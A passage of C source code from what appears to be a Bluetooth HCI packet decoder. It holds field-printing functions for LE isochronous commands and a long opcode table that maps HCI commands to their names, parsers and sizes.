print_field("Timeout: %d ms (0x%4.4x)", le16_to_cpu(cmd->timeout) * 10,
le16_to_cpu(cmd->timeout));
print_field("Number of BIS: %u", cmd->num_bis);
size -= sizeof(*cmd);
print_list(cmd->bis, size, cmd->num_bis, sizeof(*cmd->bis),
print_bis_sync);
}
static void le_big_term_sync_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_big_term_sync *cmd = data;
print_field("BIG Handle: 0x%2.2x", cmd->handle);
}
static void print_iso_path(const char *prefix, uint8_t path)
{
switch (path) {
case 0x00:
print_field("%s: HCI (0x%2.2x)", prefix, path);
return;
case 0xff:
print_field("%s: Disabled (0x%2.2x)", prefix, path);
return;
default:
print_field("%s: Logical Channel Number %u", prefix, path);
}
}
static void le_setup_iso_path_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_setup_iso_path *cmd = data;
print_field("Handle: %d", le16_to_cpu(cmd->handle));
print_path_direction("Data Path Direction", cmd->direction);
print_iso_path("Data Path", cmd->path);
print_codec_id("Coding Format", cmd->codec);
packet_print_company("Company Codec ID", le16_to_cpu(cmd->codec_cid));
print_field("Vendor Codec ID: %d", le16_to_cpu(cmd->codec_vid));
print_usec_interval("Controller Delay", cmd->delay);
print_field("Codec Configuration Length: %d", cmd->codec_cfg_len);
print_hex_field("Codec Configuration", cmd->codec_cfg,
cmd->codec_cfg_len);
}
static void le_setup_iso_path_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_setup_iso_path *rsp = data;
print_status(rsp->status);
if (size == 1)
return;
print_field("Handle: %d", le16_to_cpu(rsp->handle));
}
static void le_remove_iso_path_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_iso_path *cmd = data;
print_field("Connection Handle: %d", le16_to_cpu(cmd->handle));
print_path_direction("Data Path Direction", cmd->direction);
}
static void le_req_peer_sca_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_req_peer_sca *cmd = data;
print_field("Connection Handle: %d", le16_to_cpu(cmd->handle));
}
static void le_set_host_feature_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_host_feature *cmd = data;
uint64_t mask;
print_field("Bit Number: %u", cmd->bit_number);
mask = print_bitfield(2, (((uint64_t) 1) << cmd->bit_number),
features_le);
if (mask)
print_text(COLOR_UNKNOWN_FEATURE_BIT, " Unknown features "
"(0x%16.16" PRIx64 ")", mask);
print_field("Bit Value: %u", cmd->bit_value);
}
struct opcode_data {
uint16_t opcode;
int bit;
const char *str;
void (*cmd_func) (const void *data, uint8_t size);
uint8_t cmd_size;
bool cmd_fixed;
void (*rsp_func) (const void *data, uint8_t size);
uint8_t rsp_size;
bool rsp_fixed;
};
static const struct opcode_data opcode_table[] = {
{ 0x0000, -1, "NOP" },
/* OGF 1 - Link Control */
{ 0x0401, 0, "Inquiry",
inquiry_cmd, 5, true },
{ 0x0402, 1, "Inquiry Cancel",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x0403, 2, "Periodic Inquiry Mode",
periodic_inquiry_cmd, 9, true,
status_rsp, 1, true },
{ 0x0404, 3, "Exit Periodic Inquiry Mode",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x0405, 4, "Create Connection",
create_conn_cmd, 13, true },
{ 0x0406, 5, "Disconnect",
disconnect_cmd, 3, true },
{ 0x0407, 6, "Add SCO Connection",
add_sco_conn_cmd, 4, true },
{ 0x0408, 7, "Create Connection Cancel",
create_conn_cancel_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x0409, 8, "Accept Connection Request",
accept_conn_request_cmd, 7, true },
{ 0x040a, 9, "Reject Connection Request",
reject_conn_request_cmd, 7, true },
{ 0x040b, 10, "Link Key Request Reply",
link_key_request_reply_cmd, 22, true,
status_bdaddr_rsp, 7, true },
{ 0x040c, 11, "Link Key Request Negative Reply",
link_key_request_neg_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x040d, 12, "PIN Code Request Reply",
pin_code_request_reply_cmd, 23, true,
status_bdaddr_rsp, 7, true },
{ 0x040e, 13, "PIN Code Request Negative Reply",
pin_code_request_neg_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x040f, 14, "Change Connection Packet Type",
change_conn_pkt_type_cmd, 4, true },
{ 0x0411, 15, "Authentication Requested",
auth_requested_cmd, 2, true },
{ 0x0413, 16, "Set Connection Encryption",
set_conn_encrypt_cmd, 3, true },
{ 0x0415, 17, "Change Connection Link Key",
change_conn_link_key_cmd, 2, true },
{ 0x0417, 18, "Master Link Key",
master_link_key_cmd, 1, true },
{ 0x0419, 19, "Remote Name Request",
remote_name_request_cmd, 10, true },
{ 0x041a, 20, "Remote Name Request Cancel",
remote_name_request_cancel_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x041b, 21, "Read Remote Supported Features",
read_remote_features_cmd, 2, true },
{ 0x041c, 22, "Read Remote Extended Features",
read_remote_ext_features_cmd, 3, true },
{ 0x041d, 23, "Read Remote Version Information",
read_remote_version_cmd, 2, true },
{ 0x041f, 24, "Read Clock Offset",
read_clock_offset_cmd, 2, true },
{ 0x0420, 25, "Read LMP Handle",
read_lmp_handle_cmd, 2, true,
read_lmp_handle_rsp, 8, true },
{ 0x0428, 131, "Setup Synchronous Connection",
setup_sync_conn_cmd, 17, true },
{ 0x0429, 132, "Accept Synchronous Connection Request",
accept_sync_conn_request_cmd, 21, true },
{ 0x042a, 133, "Reject Synchronous Connection Request",
reject_sync_conn_request_cmd, 7, true },
{ 0x042b, 151, "IO Capability Request Reply",
io_capability_request_reply_cmd, 9, true,
status_bdaddr_rsp, 7, true },
{ 0x042c, 152, "User Confirmation Request Reply",
user_confirm_request_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x042d, 153, "User Confirmation Request Neg Reply",
user_confirm_request_neg_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x042e, 154, "User Passkey Request Reply",
user_passkey_request_reply_cmd, 10, true,
status_bdaddr_rsp, 7, true },
{ 0x042f, 155, "User Passkey Request Negative Reply",
user_passkey_request_neg_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x0430, 156, "Remote OOB Data Request Reply",
remote_oob_data_request_reply_cmd, 38, true,
status_bdaddr_rsp, 7, true },
{ 0x0433, 159, "Remote OOB Data Request Neg Reply",
remote_oob_data_request_neg_reply_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x0434, 163, "IO Capability Request Negative Reply",
io_capability_request_neg_reply_cmd, 7, true,
status_bdaddr_rsp, 7, true },
{ 0x0435, 168, "Create Physical Link",
create_phy_link_cmd, 3, false },
{ 0x0436, 169, "Accept Physical Link",
accept_phy_link_cmd, 3, false },
{ 0x0437, 170, "Disconnect Physical Link",
disconn_phy_link_cmd, 2, true },
{ 0x0438, 171, "Create Logical Link",
create_logic_link_cmd, 33, true },
{ 0x0439, 172, "Accept Logical Link",
accept_logic_link_cmd, 33, true },
{ 0x043a, 173, "Disconnect Logical Link",
disconn_logic_link_cmd, 2, true },
{ 0x043b, 174, "Logical Link Cancel",
logic_link_cancel_cmd, 2, true,
logic_link_cancel_rsp, 3, true },
{ 0x043c, 175, "Flow Specifcation Modify",
flow_spec_modify_cmd, 34, true },
{ 0x043d, 235, "Enhanced Setup Synchronous Connection",
enhanced_setup_sync_conn_cmd, 59, true },
{ 0x043e, 236, "Enhanced Accept Synchronous Connection Request",
enhanced_accept_sync_conn_request_cmd, 63, true },
{ 0x043f, 246, "Truncated Page",
truncated_page_cmd, 9, true },
{ 0x0440, 247, "Truncated Page Cancel",
truncated_page_cancel_cmd, 6, true,
status_bdaddr_rsp, 7, true },
{ 0x0441, 248, "Set Connectionless Slave Broadcast",
set_slave_broadcast_cmd, 11, true,
set_slave_broadcast_rsp, 4, true },
{ 0x0442, 249, "Set Connectionless Slave Broadcast Receive",
set_slave_broadcast_receive_cmd, 34, true,
set_slave_broadcast_receive_rsp, 8, true },
{ 0x0443, 250, "Start Synchronization Train",
null_cmd, 0, true },
{ 0x0444, 251, "Receive Synchronization Train",
receive_sync_train_cmd, 12, true },
{ 0x0445, 257, "Remote OOB Extended Data Request Reply",
remote_oob_ext_data_request_reply_cmd, 70, true,
status_bdaddr_rsp, 7, true },
/* OGF 2 - Link Policy */
{ 0x0801, 33, "Hold Mode",
hold_mode_cmd, 6, true },
{ 0x0803, 34, "Sniff Mode",
sniff_mode_cmd, 10, true },
{ 0x0804, 35, "Exit Sniff Mode",
exit_sniff_mode_cmd, 2, true },
{ 0x0805, 36, "Park State",
park_state_cmd, 6, true },
{ 0x0806, 37, "Exit Park State",
exit_park_state_cmd, 2, true },
{ 0x0807, 38, "QoS Setup",
qos_setup_cmd, 20, true },
{ 0x0809, 39, "Role Discovery",
role_discovery_cmd, 2, true,
role_discovery_rsp, 4, true },
{ 0x080b, 40, "Switch Role",
switch_role_cmd, 7, true },
{ 0x080c, 41, "Read Link Policy Settings",
read_link_policy_cmd, 2, true,
read_link_policy_rsp, 5, true },
{ 0x080d, 42, "Write Link Policy Settings",
write_link_policy_cmd, 4, true,
write_link_policy_rsp, 3, true },
{ 0x080e, 43, "Read Default Link Policy Settings",
null_cmd, 0, true,
read_default_link_policy_rsp, 3, true },
{ 0x080f, 44, "Write Default Link Policy Settings",
write_default_link_policy_cmd, 2, true,
status_rsp, 1, true },
{ 0x0810, 45, "Flow Specification",
flow_spec_cmd, 21, true },
{ 0x0811, 140, "Sniff Subrating",
sniff_subrating_cmd, 8, true,
sniff_subrating_rsp, 3, true },
/* OGF 3 - Host Control */
{ 0x0c01, 46, "Set Event Mask",
set_event_mask_cmd, 8, true,
status_rsp, 1, true },
{ 0x0c03, 47, "Reset",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x0c05, 48, "Set Event Filter",
set_event_filter_cmd, 1, false,
status_rsp, 1, true },
{ 0x0c08, 49, "Flush",
flush_cmd, 2, true,
flush_rsp, 3, true },
{ 0x0c09, 50, "Read PIN Type",
null_cmd, 0, true,
read_pin_type_rsp, 2, true },
{ 0x0c0a, 51, "Write PIN Type",
write_pin_type_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c0b, 52, "Create New Unit Key",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x0c0d, 53, "Read Stored Link Key",
read_stored_link_key_cmd, 7, true,
read_stored_link_key_rsp, 5, true },
{ 0x0c11, 54, "Write Stored Link Key",
write_stored_link_key_cmd, 1, false,
write_stored_link_key_rsp, 2, true },
{ 0x0c12, 55, "Delete Stored Link Key",
delete_stored_link_key_cmd, 7, true,
delete_stored_link_key_rsp, 3, true },
{ 0x0c13, 56, "Write Local Name",
write_local_name_cmd, 248, true,
status_rsp, 1, true },
{ 0x0c14, 57, "Read Local Name",
null_cmd, 0, true,
read_local_name_rsp, 249, true },
{ 0x0c15, 58, "Read Connection Accept Timeout",
null_cmd, 0, true,
read_conn_accept_timeout_rsp, 3, true },
{ 0x0c16, 59, "Write Connection Accept Timeout",
write_conn_accept_timeout_cmd, 2, true,
status_rsp, 1, true },
{ 0x0c17, 60, "Read Page Timeout",
null_cmd, 0, true,
read_page_timeout_rsp, 3, true },
{ 0x0c18, 61, "Write Page Timeout",
write_page_timeout_cmd, 2, true,
status_rsp, 1, true },
{ 0x0c19, 62, "Read Scan Enable",
null_cmd, 0, true,
read_scan_enable_rsp, 2, true },
{ 0x0c1a, 63, "Write Scan Enable",
write_scan_enable_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c1b, 64, "Read Page Scan Activity",
null_cmd, 0, true,
read_page_scan_activity_rsp, 5, true },
{ 0x0c1c, 65, "Write Page Scan Activity",
write_page_scan_activity_cmd, 4, true,
status_rsp, 1, true },
{ 0x0c1d, 66, "Read Inquiry Scan Activity",
null_cmd, 0, true,
read_inquiry_scan_activity_rsp, 5, true },
{ 0x0c1e, 67, "Write Inquiry Scan Activity",
write_inquiry_scan_activity_cmd, 4, true,
status_rsp, 1, true },
{ 0x0c1f, 68, "Read Authentication Enable",
null_cmd, 0, true,
read_auth_enable_rsp, 2, true },
{ 0x0c20, 69, "Write Authentication Enable",
write_auth_enable_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c21, 70, "Read Encryption Mode",
null_cmd, 0, true,
read_encrypt_mode_rsp, 2, true },
{ 0x0c22, 71, "Write Encryption Mode",
write_encrypt_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c23, 72, "Read Class of Device",
null_cmd, 0, true,
read_class_of_dev_rsp, 4, true },
{ 0x0c24, 73, "Write Class of Device",
write_class_of_dev_cmd, 3, true,
status_rsp, 1, true },
{ 0x0c25, 74, "Read Voice Setting",
null_cmd, 0, true,
read_voice_setting_rsp, 3, true },
{ 0x0c26, 75, "Write Voice Setting",
write_voice_setting_cmd, 2, true,
status_rsp, 1, true },
{ 0x0c27, 76, "Read Automatic Flush Timeout",
read_auto_flush_timeout_cmd, 2, true,
read_auto_flush_timeout_rsp, 5, true },
{ 0x0c28, 77, "Write Automatic Flush Timeout",
write_auto_flush_timeout_cmd, 4, true,
write_auto_flush_timeout_rsp, 3, true },
{ 0x0c29, 78, "Read Num Broadcast Retransmissions",
null_cmd, 0, true,
read_num_broadcast_retrans_rsp, 2, true },
{ 0x0c2a, 79, "Write Num Broadcast Retransmissions",
write_num_broadcast_retrans_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c2b, 80, "Read Hold Mode Activity",
null_cmd, 0, true,
read_hold_mode_activity_rsp, 2, true },
{ 0x0c2c, 81, "Write Hold Mode Activity",
write_hold_mode_activity_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c2d, 82, "Read Transmit Power Level",
read_tx_power_cmd, 3, true,
read_tx_power_rsp, 4, true },
{ 0x0c2e, 83, "Read Sync Flow Control Enable",
null_cmd, 0, true,
read_sync_flow_control_rsp, 2, true },
{ 0x0c2f, 84, "Write Sync Flow Control Enable",
write_sync_flow_control_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c31, 85, "Set Controller To Host Flow Control",
set_host_flow_control_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c33, 86, "Host Buffer Size",
host_buffer_size_cmd, 7, true,
status_rsp, 1, true },
{ 0x0c35, 87, "Host Number of Completed Packets",
host_num_completed_packets_cmd, 5, false },
{ 0x0c36, 88, "Read Link Supervision Timeout",
read_link_supv_timeout_cmd, 2, true,
read_link_supv_timeout_rsp, 5, true },
{ 0x0c37, 89, "Write Link Supervision Timeout",
write_link_supv_timeout_cmd, 4, true,
write_link_supv_timeout_rsp, 3, true },
{ 0x0c38, 90, "Read Number of Supported IAC",
null_cmd, 0, true,
read_num_supported_iac_rsp, 2, true },
{ 0x0c39, 91, "Read Current IAC LAP",
null_cmd, 0, true,
read_current_iac_lap_rsp, 2, false },
{ 0x0c3a, 92, "Write Current IAC LAP",
write_current_iac_lap_cmd, 1, false,
status_rsp, 1, true },
{ 0x0c3b, 93, "Read Page Scan Period Mode",
null_cmd, 0, true,
read_page_scan_period_mode_rsp, 2, true },
{ 0x0c3c, 94, "Write Page Scan Period Mode",
write_page_scan_period_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c3d, 95, "Read Page Scan Mode",
null_cmd, 0, true,
read_page_scan_mode_rsp, 2, true },
{ 0x0c3e, 96, "Write Page Scan Mode",
write_page_scan_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c3f, 97, "Set AFH Host Channel Classification",
set_afh_host_classification_cmd, 10, true,
status_rsp, 1, true },
{ 0x0c42, 100, "Read Inquiry Scan Type",
null_cmd, 0, true,
read_inquiry_scan_type_rsp, 2, true },
{ 0x0c43, 101, "Write Inquiry Scan Type",
write_inquiry_scan_type_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c44, 102, "Read Inquiry Mode",
null_cmd, 0, true,
read_inquiry_mode_rsp, 2, true },
{ 0x0c45, 103, "Write Inquiry Mode",
write_inquiry_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c46, 104, "Read Page Scan Type",
null_cmd, 0, true,
read_page_scan_type_rsp, 2, true },
{ 0x0c47, 105, "Write Page Scan Type",
write_page_scan_type_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c48, 106, "Read AFH Channel Assessment Mode",
null_cmd, 0, true,
read_afh_assessment_mode_rsp, 2, true },
{ 0x0c49, 107, "Write AFH Channel Assessment Mode",
write_afh_assessment_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c51, 136, "Read Extended Inquiry Response",
null_cmd, 0, true,
read_ext_inquiry_response_rsp, 242, true },
{ 0x0c52, 137, "Write Extended Inquiry Response",
write_ext_inquiry_response_cmd, 241, true,
status_rsp, 1, true },
{ 0x0c53, 138, "Refresh Encryption Key",
refresh_encrypt_key_cmd, 2, true },
{ 0x0c55, 141, "Read Simple Pairing Mode",
null_cmd, 0, true,
read_simple_pairing_mode_rsp, 2, true },
{ 0x0c56, 142, "Write Simple Pairing Mode",
write_simple_pairing_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c57, 143, "Read Local OOB Data",
null_cmd, 0, true,
read_local_oob_data_rsp, 33, true },
{ 0x0c58, 144, "Read Inquiry Response TX Power Level",
null_cmd, 0, true,
read_inquiry_resp_tx_power_rsp, 2, true },
{ 0x0c59, 145, "Write Inquiry Transmit Power Level",
write_inquiry_tx_power_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c5a, 146, "Read Default Erroneous Data Reporting",
null_cmd, 0, true,
read_erroneous_reporting_rsp, 2, true },
{ 0x0c5b, 147, "Write Default Erroneous Data Reporting",
write_erroneous_reporting_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c5f, 158, "Enhanced Flush",
enhanced_flush_cmd, 3, true },
{ 0x0c60, 162, "Send Keypress Notification",
send_keypress_notify_cmd, 7, true,
send_keypress_notify_rsp, 7, true },
{ 0x0c61, 176, "Read Logical Link Accept Timeout" },
{ 0x0c62, 177, "Write Logical Link Accept Timeout" },
{ 0x0c63, 178, "Set Event Mask Page 2",
set_event_mask_page2_cmd, 8, true,
status_rsp, 1, true },
{ 0x0c64, 179, "Read Location Data",
null_cmd, 0, true,
read_location_data_rsp, 6, true },
{ 0x0c65, 180, "Write Location Data",
write_location_data_cmd, 5, true,
status_rsp, 1, true },
{ 0x0c66, 184, "Read Flow Control Mode",
null_cmd, 0, true,
read_flow_control_mode_rsp, 2, true },
{ 0x0c67, 185, "Write Flow Control Mode",
write_flow_control_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c68, 192, "Read Enhanced Transmit Power Level",
read_enhanced_tx_power_cmd, 3, true,
read_enhanced_tx_power_rsp, 6, true },
{ 0x0c69, 194, "Read Best Effort Flush Timeout" },
{ 0x0c6a, 195, "Write Best Effort Flush Timeout" },
{ 0x0c6b, 196, "Short Range Mode",
short_range_mode_cmd, 2, true },
{ 0x0c6c, 197, "Read LE Host Supported",
null_cmd, 0, true,
read_le_host_supported_rsp, 3, true },
{ 0x0c6d, 198, "Write LE Host Supported",
write_le_host_supported_cmd, 2, true,
status_rsp, 1, true },
{ 0x0c6e, 238, "Set MWS Channel Parameters" },
{ 0x0c6f, 239, "Set External Frame Configuration" },
{ 0x0c70, 240, "Set MWS Signaling" },
{ 0x0c71, 241, "Set MWS Transport Layer" },
{ 0x0c72, 242, "Set MWS Scan Frequency Table" },
{ 0x0c73, 244, "Set MWS Pattern Configuration" },
{ 0x0c74, 252, "Set Reserved LT_ADDR",
set_reserved_lt_addr_cmd, 1, true,
set_reserved_lt_addr_rsp, 2, true },
{ 0x0c75, 253, "Delete Reserved LT_ADDR",
delete_reserved_lt_addr_cmd, 1, true,
delete_reserved_lt_addr_rsp, 2, true },
{ 0x0c76, 254, "Set Connectionless Slave Broadcast Data",
set_slave_broadcast_data_cmd, 3, false,
set_slave_broadcast_data_rsp, 2, true },
{ 0x0c77, 255, "Read Synchronization Train Parameters",
null_cmd, 0, true,
read_sync_train_params_rsp, 8, true },
{ 0x0c78, 256, "Write Synchronization Train Parameters",
write_sync_train_params_cmd, 9, true,
write_sync_train_params_rsp, 3, true },
{ 0x0c79, 258, "Read Secure Connections Host Support",
null_cmd, 0, true,
read_secure_conn_support_rsp, 2, true },
{ 0x0c7a, 259, "Write Secure Connections Host Support",
write_secure_conn_support_cmd, 1, true,
status_rsp, 1, true },
{ 0x0c7b, 260, "Read Authenticated Payload Timeout",
read_auth_payload_timeout_cmd, 2, true,
read_auth_payload_timeout_rsp, 5, true },
{ 0x0c7c, 261, "Write Authenticated Payload Timeout",
write_auth_payload_timeout_cmd, 4, true,
write_auth_payload_timeout_rsp, 3, true },
{ 0x0c7d, 262, "Read Local OOB Extended Data",
null_cmd, 0, true,
read_local_oob_ext_data_rsp, 65, true },
{ 0x0c7e, 264, "Read Extended Page Timeout",
null_cmd, 0, true,
read_ext_page_timeout_rsp, 3, true },
{ 0x0c7f, 265, "Write Extended Page Timeout",
write_ext_page_timeout_cmd, 2, true,
status_rsp, 1, true },
{ 0x0c80, 266, "Read Extended Inquiry Length",
null_cmd, 0, true,
read_ext_inquiry_length_rsp, 3, true },
{ 0x0c81, 267, "Write Extended Inquiry Length",
write_ext_inquiry_length_cmd, 2, true,
status_rsp, 1, true },
/* OGF 4 - Information Parameter */
{ 0x1001, 115, "Read Local Version Information",
null_cmd, 0, true,
read_local_version_rsp, 9, true },
{ 0x1002, 116, "Read Local Supported Commands",
null_cmd, 0, true,
read_local_commands_rsp, 65, true },
{ 0x1003, 117, "Read Local Supported Features",
null_cmd, 0, true,
read_local_features_rsp, 9, true },
{ 0x1004, 118, "Read Local Extended Features",
read_local_ext_features_cmd, 1, true,
read_local_ext_features_rsp, 11, true },
{ 0x1005, 119, "Read Buffer Size",
null_cmd, 0, true,
read_buffer_size_rsp, 8, true },
{ 0x1007, 120, "Read Country Code",
null_cmd, 0, true,
read_country_code_rsp, 2, true },
{ 0x1009, 121, "Read BD ADDR",
null_cmd, 0, true,
read_bd_addr_rsp, 7, true },
{ 0x100a, 186, "Read Data Block Size",
null_cmd, 0, true,
read_data_block_size_rsp, 7, true },
{ 0x100b, 237, "Read Local Supported Codecs",
null_cmd, 0, true,
read_local_codecs_rsp, 3, false },
{ 0x100c, 331, "Read Local Simple Pairing Options",
null_cmd, 0, true,
read_local_pairing_options_rsp, 3, true },
{ BT_HCI_CMD_READ_LOCAL_CODECS_V2, BT_HCI_BIT_READ_LOCAL_CODECS_V2,
"Read Local Supported Codecs V2",
null_cmd, 0, true,
read_local_codecs_rsp_v2,
sizeof(struct bt_hci_rsp_read_local_codecs_v2), false
},
{ BT_HCI_CMD_READ_LOCAL_CODEC_CAPS, BT_HCI_BIT_READ_LOCAL_CODEC_CAPS,
"Read Local Supported Codec Capabilities",
read_local_codec_caps_cmd,
sizeof(struct bt_hci_cmd_read_local_codec_caps), true,
read_local_codec_caps_rsp,
sizeof(struct bt_hci_rsp_read_local_codec_caps), false
},
{ BT_HCI_CMD_READ_LOCAL_CTRL_DELAY, BT_HCI_BIT_READ_LOCAL_CTRL_DELAY,
"Read Local Supported Controller Delay",
read_local_ctrl_delay_cmd,
sizeof(struct bt_hci_cmd_read_local_ctrl_delay), false,
read_local_ctrl_delay_rsp,
sizeof(struct bt_hci_rsp_read_local_ctrl_delay), true
},
{ BT_HCI_CMD_CONFIG_DATA_PATH, BT_HCI_BIT_CONFIG_DATA_PATH,
"Configure Data Path",
config_data_path_cmd,
sizeof(struct bt_hci_cmd_config_data_path), false,
status_rsp, 1, true
},
/* OGF 5 - Status Parameter */
{ 0x1401, 122, "Read Failed Contact Counter",
read_failed_contact_counter_cmd, 2, true,
read_failed_contact_counter_rsp, 5, true },
{ 0x1402, 123, "Reset Failed Contact Counter",
reset_failed_contact_counter_cmd, 2, true,
reset_failed_contact_counter_rsp, 3, true },
{ 0x1403, 124, "Read Link Quality",
read_link_quality_cmd, 2, true,
read_link_quality_rsp, 4, true },
{ 0x1405, 125, "Read RSSI",
read_rssi_cmd, 2, true,
read_rssi_rsp, 4, true },
{ 0x1406, 126, "Read AFH Channel Map",
read_afh_channel_map_cmd, 2, true,
read_afh_channel_map_rsp, 14, true },
{ 0x1407, 127, "Read Clock",
read_clock_cmd, 3, true,
read_clock_rsp, 9, true },
{ 0x1408, 164, "Read Encryption Key Size",
read_encrypt_key_size_cmd, 2, true,
read_encrypt_key_size_rsp, 4, true },
{ 0x1409, 181, "Read Local AMP Info",
null_cmd, 0, true,
read_local_amp_info_rsp, 31, true },
{ 0x140a, 182, "Read Local AMP ASSOC",
read_local_amp_assoc_cmd, 5, true,
read_local_amp_assoc_rsp, 5, false },
{ 0x140b, 183, "Write Remote AMP ASSOC",
write_remote_amp_assoc_cmd, 6, false,
write_remote_amp_assoc_rsp, 2, true },
{ 0x140c, 243, "Get MWS Transport Layer Configuration",
null_cmd, 0, true,
get_mws_transport_config_rsp, 2, false },
{ 0x140d, 245, "Set Triggered Clock Capture",
set_triggered_clock_capture_cmd, 6, true,
status_rsp, 1, true },
/* OGF 6 - Testing */
{ 0x1801, 128, "Read Loopback Mode",
null_cmd, 0, true,
read_loopback_mode_rsp, 2, true },
{ 0x1802, 129, "Write Loopback Mode",
write_loopback_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x1803, 130, "Enable Device Under Test Mode",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x1804, 157, "Write Simple Pairing Debug Mode",
write_ssp_debug_mode_cmd, 1, true,
status_rsp, 1, true },
{ 0x1807, 189, "Enable AMP Receiver Reports" },
{ 0x1808, 190, "AMP Test End" },
{ 0x1809, 191, "AMP Test" },
{ 0x180a, 263, "Write Secure Connections Test Mode" },
/* OGF 8 - LE Control */
{ 0x2001, 200, "LE Set Event Mask",
le_set_event_mask_cmd, 8, true,
status_rsp, 1, true },
{ 0x2002, 201, "LE Read Buffer Size",
null_cmd, 0, true,
le_read_buffer_size_rsp, 4, true },
{ 0x2003, 202, "LE Read Local Supported Features",
null_cmd, 0, true,
le_read_local_features_rsp, 9, true },
{ 0x2005, 204, "LE Set Random Address",
le_set_random_address_cmd, 6, true,
status_rsp, 1, true },
{ 0x2006, 205, "LE Set Advertising Parameters",
le_set_adv_parameters_cmd, 15, true,
status_rsp, 1, true },
{ 0x2007, 206, "LE Read Advertising Channel TX Power",
null_cmd, 0, true,
le_read_adv_tx_power_rsp, 2, true },
{ 0x2008, 207, "LE Set Advertising Data",
le_set_adv_data_cmd, 32, true,
status_rsp, 1, true },
{ 0x2009, 208, "LE Set Scan Response Data",
le_set_scan_rsp_data_cmd, 32, true,
status_rsp, 1, true },
{ 0x200a, 209, "LE Set Advertise Enable",
le_set_adv_enable_cmd, 1, true,
status_rsp, 1, true },
{ 0x200b, 210, "LE Set Scan Parameters",
le_set_scan_parameters_cmd, 7, true,
status_rsp, 1, true },
{ 0x200c, 211, "LE Set Scan Enable",
le_set_scan_enable_cmd, 2, true,
status_rsp, 1, true },
{ 0x200d, 212, "LE Create Connection",
le_create_conn_cmd, 25, true },
{ 0x200e, 213, "LE Create Connection Cancel",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x200f, 214, "LE Read White List Size",
null_cmd, 0, true,
le_read_white_list_size_rsp, 2, true },
{ 0x2010, 215, "LE Clear White List",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x2011, 216, "LE Add Device To White List",
le_add_to_white_list_cmd, 7, true,
status_rsp, 1, true },
{ 0x2012, 217, "LE Remove Device From White List",
le_remove_from_white_list_cmd, 7, true,
status_rsp, 1, true },
{ 0x2013, 218, "LE Connection Update",
le_conn_update_cmd, 14, true },
{ 0x2014, 219, "LE Set Host Channel Classification",
le_set_host_classification_cmd, 5, true,
status_rsp, 1, true },
{ 0x2015, 220, "LE Read Channel Map",
le_read_channel_map_cmd, 2, true,
le_read_channel_map_rsp, 8, true },
{ 0x2016, 221, "LE Read Remote Used Features",
le_read_remote_features_cmd, 2, true },
{ 0x2017, 222, "LE Encrypt",
le_encrypt_cmd, 32, true,
le_encrypt_rsp, 17, true },
{ 0x2018, 223, "LE Rand",
null_cmd, 0, true,
le_rand_rsp, 9, true },
{ 0x2019, 224, "LE Start Encryption",
le_start_encrypt_cmd, 28, true },
{ 0x201a, 225, "LE Long Term Key Request Reply",
le_ltk_req_reply_cmd, 18, true,
le_ltk_req_reply_rsp, 3, true },
{ 0x201b, 226, "LE Long Term Key Request Neg Reply",
le_ltk_req_neg_reply_cmd, 2, true,
le_ltk_req_neg_reply_rsp, 3, true },
{ 0x201c, 227, "LE Read Supported States",
null_cmd, 0, true,
le_read_supported_states_rsp, 9, true },
{ 0x201d, 228, "LE Receiver Test",
le_receiver_test_cmd, 1, true,
status_rsp, 1, true },
{ 0x201e, 229, "LE Transmitter Test",
le_transmitter_test_cmd, 3, true,
status_rsp, 1, true },
{ 0x201f, 230, "LE Test End",
null_cmd, 0, true,
le_test_end_rsp, 3, true },
{ 0x2020, 268, "LE Remote Connection Parameter Request Reply",
le_conn_param_req_reply_cmd, 14, true,
le_conn_param_req_reply_rsp, 3, true },
{ 0x2021, 269, "LE Remote Connection Parameter Request Negative Reply",
le_conn_param_req_neg_reply_cmd, 3, true,
le_conn_param_req_neg_reply_rsp, 3, true },
{ 0x2022, 270, "LE Set Data Length",
le_set_data_length_cmd, 6, true,
le_set_data_length_rsp, 3, true },
{ 0x2023, 271, "LE Read Suggested Default Data Length",
null_cmd, 0, true,
le_read_default_data_length_rsp, 5, true },
{ 0x2024, 272, "LE Write Suggested Default Data Length",
le_write_default_data_length_cmd, 4, true,
status_rsp, 1, true },
{ 0x2025, 273, "LE Read Local P-256 Public Key",
null_cmd, 0, true },
{ 0x2026, 274, "LE Generate DHKey",
le_generate_dhkey_cmd, 64, true },
